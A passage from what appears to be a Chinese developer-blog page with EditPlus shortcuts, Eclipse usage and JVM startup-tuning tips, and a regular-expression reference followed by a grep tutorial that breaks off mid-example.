搜索剪辑文本          F2                    使用对应的剪辑文本替换当前单词    增大缩进              Ctrl+I                增大当前行或选定块的缩进    插入模式              Insert                切换插入模式与覆盖模式    反转大小写            Ctrl+K                反转选定文本的大小写    和并行                Ctrl+Shift+J          合并选定行    粘贴                  Ctrl+V                插入剪贴板内容    重做                  Ctrl+Y                重做上次未完成的操作    重新排列段落格式      Ctrl+Shift+R          按照自动换行列号重新排列段落格式    搜索文档              Shift+F2              使用在当前文档中找到的扩展单词替换当前单词    搜索所有打开的文件    Ctrl+F2               使用在所有打开的文件中找到的扩展单词来替换当前单词    开始/结束选择         Alt+Shift+B           开始或结束选择    全选                  Ctrl+A                选择整合文档    开始/结束列选择       Alt+Shift+E           开始或结束列选择    选择行                Ctrl+R                选择当前行    选择单词              Ctrl+W                选择当前单词    分割行                Ctrl+Shift+K          分割选定行(必须启用自动换行)    移除 HTML 标签        Ctrl+Shift+P          移除当前文档或选定文本的 HTML 标签    时间                  Ctrl+M                插入当前时间    时间(包含秒钟)        Ctrl+Shift+M          插入当前时间(包含秒钟)    小写                  Ctrl+L                转换选定的文本为小写    大写                  Ctrl+U                转换选定的文本为大写    调换字符位置          Ctrl+T                调转光标两侧字符的位置    撤消                  Ctrl+Z                撤消上次操作  查看    在浏览器中查看        Ctrl+B                载入当前文档到网页浏览器    折叠                  Ctrl+Num -            折叠当前代码段    全部折叠              Ctrl+Alt+Num -        折叠所有缩进的文本    折叠一层              Ctrl+Shift+Num -      折叠整个代码一层    目录窗口              Alt+Shift+3           显示或隐藏目录窗口    展开                  Ctrl+Num +            展开当前折叠的行    全部展开              Ctrl+Alt+Num +        展开所有折叠的文本    展开一层              Ctrl+Shift+Num +      展开整个代码一层    转到剪辑文本/目录     F5                    在剪辑文本/目录窗口与文档间切换焦点    使用代码折叠          Ctrl+Shift+F          启用或禁用代码折叠功能    全屏模式              Alt+Shift+0           全屏模式开/关    转到输出窗口          Shift+F5              在输出窗口与文档间切换焦点    光标指示符            Alt+Shift+C           显示或隐藏光标指示符    制表符与空格          Alt+Shift+I           显示或隐藏制表符与空格    行号                  Ctrl+Shift+L          显示或隐藏当前文档的行号    换行符                Alt+Shift+L           显示或隐藏换行符    输出窗口              Alt+Shift+2           显示或隐藏输出窗口    标尺                  Alt+Shift+R           显示或隐藏标尺    剪辑文本窗口          Alt+Shift+1           显示或隐藏剪辑文本窗口    URL 高亮              Alt+Shift+U           高亮显示 URL 与 e-mail 地址  搜索    查找                  Alt+F3                查找指定文本    查找下一个            F3                    查找下一个匹配文本    查找上一个            Shift+F3              查找上一个匹配的文本    替换                  Ctrl+H                使用不同的文本替换指定的文本    配对括号              Ctrl+]                搜索一个匹配的括号    清除所有标记          Ctrl+Shift+F9         清除当前文档中的所有标记    函数列表              Ctrl+F11              显示函数列表    转到行                Ctrl+G                转到当前文档的指定行    转到列                Ctrl+Shift+G          转到当前行中的指定列    转到文件              F7                    使用输出窗口模式转到一个文件    下一个标记            F4                    转到下一个标记位置    查找下一个单词        Ctrl+F3               向下查找当前单词或选定的文本    上一个标记            Shift+F4              转到上一个标记位置    查找上一个单词        Ctrl+Shift+F3         向上查找当前单词或选定的文本    选择括号              Ctrl+Shift+]          搜索一对匹配的括号并选择该文本    切换标记              F9                    设置或清除当前行的标记    转到 URL              F8                    转到高亮的 URL  文档    列标记                Alt+Shift+M           显示或隐藏列标记    自动换行              Ctrl+Shift+W          切换当前文档的自动换行功能  HTML  浏览器    编辑源文件            Ctrl+E                编辑当前 HTML 页面的源文件  剪辑文本    复制                  Ctrl+Shift+Insert     复制选定的剪辑文本项目  目录  工程    停止                  Ctrl+Break            停止当前工具的操作    打开下一个            Ctrl+F5               打开下一个匹配的文件    打开上一个            Ctrl+Shift+F5         打开上一个匹配的文件    用户工具 1            Ctrl+1                运行该用户定义工具    用户工具 10           Ctrl+0                运行该用户定义工具    用户工具 2            Ctrl+2                运行该用户定义工具    用户工具 3            Ctrl+3                运行该用户定义工具    用户工具 4            Ctrl+4                运行该用户定义工具    用户工具 5            Ctrl+5                运行该用户定义工具    用户工具 6            Ctrl+6                运行该用户定义工具    用户工具 7            Ctrl+7                运行该用户定义工具    用户工具 8            Ctrl+8                运行该用户定义工具    用户工具 9            Ctrl+9                运行该用户定义工具    群组 1                Ctrl+Shift+1          使用工具组 1    群组 10               Ctrl+Shift+0          使用工具组 10    群组 2                Ctrl+Shift+2          使用工具组 2    群组 3                Ctrl+Shift+3          使用工具组 3    群组 4                Ctrl+Shift+4          使用工具组 4    群组 5                Ctrl+Shift+5          使用工具组 5    群组 6                Ctrl+Shift+6          使用工具组 6    群组 7                Ctrl+Shift+7          使用工具组 7    群组 8                Ctrl+Shift+8          使用工具组 8    群组 9                Ctrl+Shift+9          使用工具组 9    记录击键              Ctrl+Q                开始/停止击键记录    播放记录 1            Alt+1                 播放击键记录 1    播放记录 10           Alt+0                 播放击键记录 10    播放记录 2            Alt+2                 播放击键记录 2    播放记录 3            Alt+3                 播放击键记录 3    播放记录 4            Alt+4                 播放击键记录 4    播放记录 5            Alt+5                 播放击键记录 5    播放记录 6            Alt+6                 播放击键记录 6    播放记录 7            Alt+7                 播放击键记录 7    播放记录 8            Alt+8                 播放击键记录 8    播放记录 9            Alt+9                 播放击键记录 9  工具    下一窗格              F6                    切换到下一个窗格    前一窗格              Shift+F6              切换回前一个窗格    上次访问的窗口        F12                   切换到上次访问的文档窗口    窗口列表              F11                   显示所有文档窗口的列表    下一个窗口            Ctrl+Tab              切换到下一个文档窗口    上一个窗口            Ctrl+Shift+Tab        切换到上一个文档窗口    总在最前              Alt+A                 使 EditPlus 窗口总在最前  窗口    帮助                  Shift+F1              显示按钮、菜单或窗口所对应的帮助    帮助                  F1                    显示对当前任务或命令的帮助              三、使用技巧   1、查看源码   当我们在一个方法上按F3或者按着ctrl+鼠标左键的时候,我们会进行跟踪,当我们在一个类上进行上述操作的时候,会跟踪到这个类的源码,但是有时候,类的源码不一定被引用进来,大多数时候我们需要手动引入,举个例子:我们想看下String类的源码,在String上按F3,如果已经引入源码,会直接跳到源码里,如果没有引入,则会出现:         点击:Attach Source:           External File就是指一个源码包,一般都是压缩文件,External Folder是指文件夹,此处我们点击External File,因为JDK默认带有源码包,   这样就将源码加载进来了,是不是很爽啊!         2、使用JD插件   JD插件是用来查看Java源码的,直接可以将.class的文件打开,为什么我们要使用JD插件,原因很简单,不是所有的Java类都可以找到源码,像JDK或者SSH这些容易找到源码,但是有些个人完成的程序,没有提供源码,只有.class的文件,如果我们想要查看其源码,就只能将.class文件进行反编译,但是这有个问题就是反编译出来的东西不一定是作者原来的代码,所以,这样查看源码并不完全准确,因此,如果能找到源码,还是尽量读源码,找不到源码的,再用反编译工具。JDK自带一个工具叫jad,本文将要介绍JD,JD分两种,一个是桌面应用JD-GUI,我们可以单独下载一个jd-gui.exe,免安装的,直接将.class文件拖进去就可以查看,一个是JD-ECLIPSE,作为eclipse的插件,我之前用过myeclipse6.x和eclipse都可以直接安装,但是高版本的myeclipse就不行,需要多点步骤。这个插件可以让你在没有源码的时候轻松查看Java类的源码。只不过是经过反编译的,和源码有点不同,不过,由于Java字节码是很容易进行反编译的,所以在没有源码的情况下,用JD查看的源代码还是不错的。     3、设置eclipse像virtual studio那么方便   一般默认情况下,Eclipse ,MyEclipse代码里面的代码提示功能默认的一般 是点“.”,一般是有了点“.”,才会有代码提示。相信有过C#开发经验的朋友,一定对VS感觉很不错,异常强大的提示功能让你惊叹不已,其实eclipse也是可以经过设置达到那个效果的,下面我就写一下方法:  原理:“Auto Activation triggers for java”这个选项就是指触发代码提示的的选项,把“.” 改成.abcdefghijklmnopqrstuvwxyz(,就是指遇到26个字母和.都会进行提示   1、 打开MyEclipse,然后“window”→“Preferences”  2、 选择“java”,展开,“Editor”,选择“Content Assist”。  3、选择“Content Assist”,然后看到右边,右边的“Auto-Activation”下面的“Auto Activation triggers for java”这个选项。其实就是指触发代码提示的就是“.”这个符号.  4、 “Auto Activation triggers for java”这个选项,在“.”后加abc字母,方便后面的查找 修改。然后“apply”,点击“OK”。  5、然后,“File”→“Export”,在弹出的窗口中选择“Perferences”,点击“下一步”。  6、选择导出文件路径,本人导出到桌面,输入“conf”作为文件名,点击“保存”。  7、在桌面找到刚在保存的文件“conf.epf”,右键选择“用记事本打开”。  8、可以看到很多配置MyEclipse的信息  9、按“ctrl + F”快捷键,输入“.abc”,点击“查找下一个”。  10、 查找到“.abc”的配置信息.  11、把“.abc”改成“.abcdefghijklmnopqrstuvwxyz(,”,保存,关闭“conf.epf”。  12、 回到MyEclipse界面,“File”→“Import”,在弹出的窗口中选择“Perferences”,点击 “下一步”,选择刚在已经修改的“conf.epf”文件,点击“打开”,点击“Finish”。该步骤和上面 的导出步骤类似。  13、 最后当然是进行代码测试了。随便新建一个工程,新建一个类。在代码输入switch,foreach等进行 测试。你立即会发现,果然出了提示,而且无论是敲哪个字母都会有很多相关的提示了,很流畅,很方便。        4、查看项目下的所有文件   在默认的package explorer视图下,是不能看见完全的文件的,此时,这要切换下视图就可以了,切换到:Navigator就可以了。     5、windows 7使用eclipse 高版本没有Courier New 字体的解决办法:   Eclipse3.7.2默认字体为Consolas,而Eclipse3.5默认为Courier New,对于用惯了CourierNew的人来说,Consolas看着有点不舒服,但是Eclipse3.7.2中在修改字体时,找不到Courier New字体。可以通过以下方法修改为Courier New(改动过程中先关闭Eclipse):  (1)、找到jFace并用WinRAR打开之:  jFace的具体位置:$Eclipse目录$/plugins/org.eclipse.jface_3.7.0.v20110928-1505.jar,找到后,用WinRAR打开。  (2)、找到并修改字体属性:  打开后,依次展开:/org/eclipse/jface/resources,这里,你将看到不同操作系统的字体设置,比如 jfacefonts_hp_ux,properties里保存了HP-UX系统的字体设置,jfacefonts_macosx.properties 则保存了MacX的字体设置。找到Windows7的字体设置,双击,随便用一个文本编译器打开,找到 org.eclipse.jface.textfont.0的配置项,将其设置成CourierNew-regular即可,后面还可以设置字号。修改完成后,保存,WinRAR自动更新jar包。  注意:修改的时候将eclipse关闭,否则修改不成功。  如果修改完以后重启eclipse还是看不到字体使用以下方法  进入windows控制面板->字体 找到Courier New右击“显示”即可       6、自定义快捷键   windows->preference->general->keys将里面冲突的解决掉就行了。     7.eclipse实现拖拽功能   有一个叫VE(Virtual Editor)的插件安装了即可。   8、将jar转成exe文件   实现方式:Eclipse搭配JSmooth (1)、先由Eclipse制作包含Manifest的JAR。 (2)、使用JSmooth将做好的JAR包装成EXE。 JSmooth下载页面:http://jsmooth.sourceforge.net/index.php (3)、制作完成的exe文件,可在有装置JRE的Windows上执行。   9、取消一些校验   使用eclipse for javaee时,有时js文件上总是有个小红叉,原因是eclipse校验造成的,每个版本的eclipse校验语法不一样,所以有时在一个eclipse上不报错,到了另一个就报错了,虽然不影响使用,但是总看着难受,用下面的方法可以消除掉这个小红叉。找到工程下的.project文件,用文本编辑器打开修改内容下,红色字是注掉的: <?xml version="1.0" encoding="UTF-8"?> <projectDescription> <name>Spider</name> <comment></comment> <projects> </projects> <buildSpec> <!-- <buildCommand> <name>org.eclipse.wst.jsdt.core.javascriptValidator</name> <arguments> </arguments> </buildCommand> --> <buildCommand> <name>org.eclipse.jdt.core.javabuilder</name> <arguments> </arguments> </buildCommand> <buildCommand> <name>org.eclipse.wst.common.project.facet.core.builder</name> <arguments> </arguments> </buildCommand> <buildCommand> <name>org.eclipse.wst.validation.validationbuilder</name> <arguments> </arguments> </buildCommand> </buildSpec> <natures> <nature>org.eclipse.jem.workbench.JavaEMFNature</nature> <nature>org.eclipse.wst.common.modulecore.ModuleCoreNature</nature> <nature>org.eclipse.wst.common.project.facet.core.nature</nature> <nature>org.eclipse.jdt.core.javanature</nature> <!-- <nature>org.eclipse.wst.jsdt.core.jsNature</nature> --> </natures> </projectDescription>   修改完成后eclipse下的jquery文件还有小红叉,因为修改对原来的文件还没有起作用,所以需要把相应的jquery文件删除,重新添加即可。             优化eclipse启动   最近自从eclipse安装了很多插件以后,启动变得非常的慢,每次启动,要消耗近半分钟.这是不正常的. 今天决定好好优化一下.   我所使用的eclipse是Eclipse JAVA EE IDE for Web Developers 3.8版本. 跑在MAC OSX上, SSD+8G RAM, 这么高性能的机器竟然不能秒开eclipse, 这太说不过去了. 哦,还有我使用的JVM是Oracle的HotSpot,来自于JDK1.6 64bit.   首先,在优化前,让我们看看eclipse启动时,JVM的各项性能指标. 因为我并不能准确的判定eclipse的启动完成时间, 所以我只能说大约事件.   首先启动JDK自带的JVM性能监视工具,在java\bin的目录下,有一个jvisualvm,它是绑定在JDK中的visualvm.双击启动 visualvm. 然后启动eclipse, 在eclipse启动完成以后,使用visualvm的查看eclipse的Visual GC情况, 如图:       上图中说明在eclipse的启动过程中,JIT对字节码进行了向机器码的编译,花去了22秒的时间.Class加载花去了10秒的时间,Minor GC发生了72次,花去0.64秒,Full GC发生了12次,仅仅花去了61毫秒.   我们再去MBean选项查看,发现新生代使用ParNew垃圾收集器,而老年代使用的是CMS垃圾收集器.         总上情况看出,由于MAC的性能比较好,所以垃圾回收并没有消耗太多的时间,并且CMS+ParNew本身就是并行垃圾回收,不会造成用户程序太多的停顿. 时间主要消耗在了JIT的即时编译和Class加载上了.   首先要优化的就是class加栽.因为eclipse这个工具是一个成熟的工具,经过了这么多人的验证,所以我充分信任eclipse的代码,允许 eclipse的代码在加载的时候,跳过字节码验证. 关闭字节码验证的方法是在vm的args中加入参数 -Xverify:none. 对于eclipse来说,找到eclipse.ini, 加入-Xverify:none. 让我们再重启一下eclipse,看看class加载时间是否减小. 再次启动,发现class加载事件缩小到7秒,比之前少了3秒.   然后优化的是JIT的时间. 在使用eclipse编写程序时,主要是文本编辑,编译和运行,JIT虽然可以带给我们高性能,但是JIT在编译机器码的时候,却要消耗很多的时间. eclipse对项目的编译和运行本身就很慢,切运行时是启动一个新的java进程,跟eclipse本身无关,所以,我可以接受抛弃JIT编译器,而只是用JVM解释器执行字节码所带来的效率降低. 这样可以去除JIT编译的时间. 做法如下,在eclipse.ini中加入vm的参数 -Xint, 意思是只使用解释器. 让我们来看看结果:         JVM编译器时间变成了0, 一下减掉20秒. 但是,由于缺少了运行时的即时编译优化方案,代码的运行时间变长了, eclipse的整体启动时间慢了更多,超过了30秒. 由此可见,JIT是多么有用的一项技术.所以禁止JIT的尝试失败了.我们把之前的参数-Xint去掉.   哦,对了,我还装了很多的插件,尤其是android开发插件.启动的时候对插件的激活也会花去很多时间. 屏蔽插件激活的方法: Windows -> Preferences, 输入 “startup”, 点击 “Startup and Shutdown”, 把不需要的插件勾掉. 此外,还需要关掉不必要的validation,方法为:Windows -> Preferences -> Validation. 只选你需要的.   做完以上工作,我发现eclipse启动稍微快了一些. 掐着秒表计算的花了大约15秒.   最后,再优化一下GC和堆栈吧.虽然说,GC已经表现的很好了,都没有超过1秒,但是GC的频率如此高,说明JVM的内存的分配是不合理的.为此,我们需要重新对JVM内存进行划分. 为了对JVM的内存进行合理分配,我们需要了解eclipse启动过程中,GC到底发生了什么事情. 打开gc log的方法如下:   想eclipse.ini的vm参数中添加 -XX:+PrintGCDetails -Xloggc:/users/joey/Documents/gc.log     启动eclipse,生成gc.log, 打开log,进行分析.   第一次Minor GC发现,新生代的大小约为20M. 堆的大小约为40M. 再接下来的GC中,新生代始终没有扩容.这说明,新生代的大小合适. 0.720: [GC 0.720: [ParNew: 17024K->2112K(19136K), 0.0099529 secs] 17024K->2324K(38848K), 0.0100285 secs] [Times: user=0.03 sys=0.00, real=0.01 secs]    第一次发生Full GC时,发现老年代已经扩容到约93M,而永生代扩容到约128M 67.213: [Full GC (System) 67.213: [CMS: 57969K->57877K(93124K), 0.3563491 secs] 62179K->57877K(112260K), [CMS Perm : 80490K->80392K(128708K)], 0.3565176 secs] [Times: user=0.36 sys=0.00, real=0.36 secs]   而直到最后一次GC, 老年代占用也没超过125M,永生带占用也没有超过125M. 但他们的占用空间均超过了100M. 由此,我们有理由规定一个初始堆大小. 最终,通过分析,我给eclipse.ini添加了如下几个参数: -server -Xverify:none -XX:PermSize=128m -XX:MaxPermSize=256m -Xms256m -Xmx512m -Xmn40m -Xss2m     -server是让JVM以server模式运行,加重JIT的优化作用,由于eclipse是经常开着不关,在server模式下,JIT会随着运行的时间,把字节码更深刻的变成成机器代码.加快运行速度.   -Xverify:none, 跳过对字节码的验证.   PermSize永生带设置为128M,堆的初始大小设置为256M,新生代站了40M. 每个线程栈大小设为2M.   在这种设置下,Full GC已经完全消失,但还是剩下了20次左右的Minor GC,大约花掉0.3秒, 这是可以接受的. 如果为了完全消除GC而把新生代的空间设大,那也是一种内存的浪费. 重启eclipse,启动时间已经落在了15秒之内.如图:       补充eclipse 使用ant编译,console出现中文乱码问题。 解决办法:   打开菜单:Run--External Tool--External Tools... 打开ant配置,Common这个Tab 里,ConsoleEncoding设置编码为UTF-8/GBK,搞定! 补充:eclipse以英文界面启动   有时启动了eclipse,但是是中文界面,想换成英文界面的话,很简单,右键启动图标,出现如下画面:       在目标的最后,空一格,加上-nl en_US,如下:     确定即可。   在Eclipse里面设置了java文件保存时自动格式化,   在java->Code Style->Formatter里设置了自定义的格式化的样式,这样每次保存后都会自动格式化代码. java->editor->Save Actions->Format Source Code 取消勾选,即取消了保存时自动格式化的功能。 本文转自大数据躺过的坑博客园博客,原文链接:http://www.cnblogs.com/zlslch/p/7646390.html,如需转载请自行联系原作者
文章
JavaScript  ·  Java  ·  Android开发  ·  Windows
2017-04-30
UNIX和Linux Shell正则表达式语法介绍
一个正则表达式就是由普通字符(例如字符a到z)以及特殊字符(称为元字符)组成的文字模式。该模式描述在查找文字主体时待匹配的一个或多个字符串。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。 \   将下一个字符标记为一个特殊字符、或一个原义字符、或一个 后向引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n' 匹配一个换行符。序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。 ^ 匹配输入字符串的开始位置。 $ 匹配输入字符串的结束位置。 * 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。 * 等价于{0,}。 + 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 ? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 中的"do" 。? 等价于 {0,1}。 {n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。 {n,} n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。 {n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。 "o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。 ? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。 . 匹配除 "\n" 之外的任何单个字符。要匹配包括 '\n' 在内的任何字符,请使用象 '[.\n]' 的模式。 (pattern) 匹配pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在Visual Basic Scripting Edition 中则使用 $0…$9 属性。要匹配圆括号字符,请使用 '\(' 或 '\)'。 (?:pattern) 匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合一个模式的各个部分是很有用。例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。 (?=pattern) 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如, 'Windows (?=95|98|NT|2000)' 能匹配 "Windows 2000" 中的 "Windows" ,但不能匹配 "Windows 3.1" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 (?!pattern) 负向预查,在任何不匹配Negative lookahead matches the search string at any point where a string not matching pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如'Windows (?!95|98|NT|2000)' 能匹配 "Windows 3.1" 中的 "Windows",但不能匹配 "Windows 2000" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 x|y 匹配 x 或 y。例如,'z|food' 能匹配 "z" 或 "food"。'(z|f)ood' 则匹配 "zood" 或 "food"。 [xyz] 字符集合。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。 [^xyz] 负值字符集合。匹配未包含的任意字符。例如, '[^abc]' 可以匹配 "plain" 中的'p'。 [a-z] 字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。 [^a-z] 负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。 \b 匹配一个单词边界,也就是指单词和空格间的位置。例如, 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。 \B 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。 \cx 匹配由x指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。 x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。 \d 匹配一个数字字符。等价于 [0-9]。 \D 匹配一个非数字字符。等价于 [^0-9]。 \f 匹配一个换页符。等价于 \x0c 和 \cL。 \n 匹配一个换行符。等价于 \x0a 和 \cJ。 \r 匹配一个回车符。等价于 \x0d 和 \cM。 \s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 \S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 \t 匹配一个制表符。等价于 \x09 和 \cI。 \v 匹配一个垂直制表符。等价于 \x0b 和 \cK。 \w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。 \W 匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。 \xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如, '\x41' 匹配 "A"。'\x041' 则等价于 '\x04' & "1"。正则表达式中可以使用 ASCII 编码。. \num 匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,'(.)\1' 匹配两个连续的相同字符。 \n 标识一个八进制转义值或一个后向引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为后向引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。 \nm 标识一个八进制转义值或一个后向引用。如果 \nm 之前至少有is preceded by at least nm 个获取得子表达式,则 nm 为后向引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的后向引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。 \nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。 \un 匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, \u00A9 匹配版权符号 (?)。 /*****************************************************************************************/ 几乎所有重要问题都需要从无用数据中过滤出有用数据。了解大量的 UNIX? 命令行实用工具如何使用正则表达式 来去芜取精。  非常奇怪,直到今天我仍然能重复周六早上的经典歌曲“Conjunction Junction”。这是好事(看了太多电视)还是坏事(也许是我现在职业的先兆)仍然有待讨论。不管怎样,这首小调在欢快的节奏下传递了基本的信息。 我还没有为学习 UNIX 构想出与“Conjunction Junction”相似的作品,但是我会在未来的几个月里尝试亲手编写这样的歌曲。与此同时,趁着快乐回忆所带来的好心情,我们继续以 Schoolhouse 摇滚的传统学习方式攻克命令行。 现在开始上课。吐出嘴里的口香糖,回到您的座位上,然后拿出一根二号铅笔。还有您,Spicoli。 模仿秀 您可以将 UNIX 命令行看作是一句话: 可执行命令,如 cat 或 ls,是动词——操作。  命令的输出是名词——要查阅或使用的数据。  Shell 操作符,如 |(管道)或 >(重定向标准输出),是连词——用于连接句子。  例如,命令行:ls -A | wc -l 用于计算当前目录下的条目数(忽略特殊条目 . 和 ..),它包含两个句子。第一个句子 ls -A 是动词结构,列举当前目录下的内容,第二个句子 wc -l 是另一个动词结构,用于计算行数。第一个句子输出的结果作为第二个句子的输入,并由连接词(管道)连接这两个句子。 在本系列文章以及其他文章中展示的许多您可能已经学习过的命令行句式都具有这种句子结构。 但是,如果缺少了文法上的修饰语,命令行将显得不专业。当然,基本句子也能完成工作,但是这样显得不优美。(在此对高中英语演唱二人组 Rad 女士和 Perlstein 女士表示歉意。)解决更有趣的问题需要用到形容词。 几乎所有重要问题都需要从无用数据中过滤出有用数据。虽然属性的数量和种类会有所不同,但是每种方案都通过某种方式(形式或格式),隐式或显式地描述了它要查找并处理的信息,从而生成另外一种形式的其他信息。 在命令行中,正则表达式 的作用相当于形容词——一种描述或限定词。在应用到输出时,正则表达式可辨别相关数据和无关数据。 标点概述 让我们看一个示例问题。 grep 实用工具逐行过滤输入并寻找匹配。grep 的最简单应用是打印那些包含与某个模式匹配的文本的行。grep 可以查找具有固定顺序的字符组合,甚至可以通过使用 -i 选项来忽略大小写。 因此,假定文件 heroes.txt 包含以下行: CatwomanBatmanThe TickSpider ManBlack CatBatgirlDanger GirlWonder WomanLuke CageThe PunisherAnt ManDead GirlAquamanSCUDSpider WomanBlackboltMartian Manhunter 命令行: grep -i man heroes.txt 将生成: CatwomanBatmanSpider ManWonder WomanAnt ManAquamanMartian Manhunter 其中 grep 扫描 heroes.txt 文件中的每一行并查找字母 m,后面紧跟 a,然后紧跟 n。除了必须保证相邻,这些字母可以出现在行的任何位置,甚至可以位于较大的单词中间。在不考虑大小写的情况下(-i 选项),Catwoman、Batman、Spider Man、Wonder Woman、Ant Man、Aquaman 和 Martian Manhunter 都包含字符串 man。 grep 实用工具包含其他可优化搜索的内置选项。例如,-w 选项限制于匹配整个单词,因此 grep -i -w man 将排除 Catwoman 和 Batman(举例来说)。 该工具还有一个优秀的功能,可以排除而不是包括所有匹配的搜索结果。使用 -v 选项来排除 匹配的行。例如: grep -v -i 'spider' heroes.txt 将打印除了包含字符串 spider 之外的所有行。 CatwomanBatmanThe TickBlack CatBatgirlDanger GirlWonder WomanLuke CageThe PunisherAnt ManDead GirlAquamanSCUDBlackboltMartian Manhunter 但是,对于以下这些情况,您该如何处理?只希望得到那些开头为“Bat”的单词;或者以“bat”、“Bat”、“cat”或“Cat”开头的单词?或者希望知道有多少漫画复仇者的名字以“man”结束。在这些实例中,类似于上述三个示例的简单字符串搜索将无法满足要求,因为这些搜索不区分位置。 位置、位置、位置和备选项 正则表达式可以 过滤特定的位置,例如行的开始或结束,以及单词的开始和结束。正则表达式(通常简写为 regex)还可以描述:备选项(您可将其称为“this”或“that”);固定长度、可变长度或不定长度的重复;范围(例如,“a-m 之间的任意字母”);还有字符的类别或种类(“可打印字符”或“标点符号”),以及其他技术。 表 1 显示了一些常用的正则表达式操作符。您可以连接表 1 中显示的元素(以及其他操作符)并加以组合使用,从而构建(非常)复杂的正则表达式。 表 1. 常用的正则表达式操作符 操作符 用途  .(句号) 匹配任意单个字符。  ^(脱字号) 匹配出现在行首或字符串开始位置的空字符串。  $(美元符号) 匹配出现在行末的空字符串。  A  匹配大写字母 A。  a  匹配小写字母 a。  \d  匹配任意一位数字。  \D  匹配任意单个非数字字符。  \w  匹配任意单个字母数字字符,同义词是 [:alnum:]。  [A-E]  匹配任意大写的 A、B、C、D 或 E。  [^A-E]  匹配除 A、B、C、D 和 E 之外的任意字符。  X?  匹配出现零次或一次的大写字母 X。  X*  匹配零个或任意个大写 X。  X+  匹配一个或多个字母 X。  X{n}  精确匹配 n 个字母 X。  X{n,m}  匹配最少 n 个并且不超过 m 个字母 X。如果省略 m,表达式将尝试匹配最少 n 个 X。  (abc|def)+  匹配一连串的(最少一个) abc 或 def;abc 和 def 将匹配。 以下是一些使用 grep 作为搜索工具的正则表达式示例。许多其他 UNIX 工具,包括交互式编辑器 vi 和 Emacs、流编辑器 sed 和 awk,以及所有现代编程语言都支持正则表达式。在您学会正则表达式的语法(也许相当晦涩)之后,就可以将您的专业知识灵活运用到不同的工具、编程语言和操作系统。 查找以“Bat”开头的名称 要查找以“Bat”开头的名称,请使用: grep -E '^Bat' 可以使用 -E 选项来指定正则表达式。^(脱字号)字符匹配行首或字符串的开头,这是一个出现在每行或每个字符串开头字符之前的假想字符。字母 B、a 和 t 只具有字面含义并且仅匹配那些特定的字符。因此,命令 grep -E '^Bat' 将生成: BatmanBatgirl 由于许多 regex 操作符也为 Shell 所使用(其中一些具有不同的用途,另外一些则有类似的用途),因此一个好的习惯是使用单引号将命令行中的每个 regex 括起来,以保护 regex 操作符免遭 Shell 的误解。例如,*(星号)和 $(美元符号)都是 regex 操作符,并且对于您的 Shell 具有特殊的含义。 查找以“man”结尾的名称 要查找以“man”结尾的名称,可以使用 regex man$ 来匹配序列 m、a 和 n,并且后面紧接与 regex 操作符 $ 匹配的行(字符串)。 查找空行 基于 ^ 和 $ 的作用,您可以使用 regex ^$ 来查找空行(相当于在开始之后立即结束的行)。 备选项或集合操作符 要查找以“bat”、“Bat”、“cat”或“Cat”开头的单词,可以使用以下两个技巧。首先是备选项,如果备选项中的任意 模式匹配,都会产生匹配的结果。例如,命令: grep -E 